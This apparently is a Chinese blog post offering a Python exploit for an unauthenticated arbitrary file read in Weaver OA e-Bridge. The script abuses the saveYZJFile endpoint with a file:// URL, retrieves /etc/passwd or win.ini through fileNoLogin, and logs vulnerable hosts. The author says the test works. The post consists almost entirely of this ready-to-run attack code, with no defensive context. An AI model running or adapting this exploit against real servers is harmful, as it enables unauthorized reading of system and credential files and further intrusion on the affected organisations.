Python实现泛微OA云桥未授权任意文件读取

 1.代码如下:

import requests
import json
from multiprocessing import Pool, Manager

def two(host,id,dirstr):
    s=requests.get(url=host+'/file/fileNoLogin/'+id,verify=False, timeout=5)
    if ('/bin/bash' in s.text and 'root' in s.text) or 'bit' in s.text:
        print(s.text)
        save=open('e-Bridge.txt','a+')
        save.write(host+' '+dirstr+'\n')
        save.close()
def one(h,p):
    dirstr=('/etc/passwd','/C:\Windows\win.ini')
    for i in dirstr:
        host = h +':' + p
        try:
            if p=='':
                host = h +':80'
            s=requests.get(url='http://'+host+'/wxjsapi/saveYZJFile?fileName=test&downloadUrl=file://'+i+'&fileExt=txt',verify=False, timeout=5)
            data = json.loads(s.text)
            print('http://'+host,data['id'])
            two('http://'+host,data['id'],i)
        except:
            pass
        try:
            if p=='':
                host = h +':443'
            s1=requests.get(url='https://'+host+'/wxjsapi/saveYZJFile?fileName=test&downloadUrl=file://'+i+'&fileExt=txt',verify=False, timeout=5)
            data = json.loads(s1.text)
            print('https://'+host,data['id'])
            two('https://'+host,data['id'],i)
        except:
            pass


if __name__ == '__main__':
    one('xxxx.xxx.com','80')

2.测试结果完好

 

标题

 

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值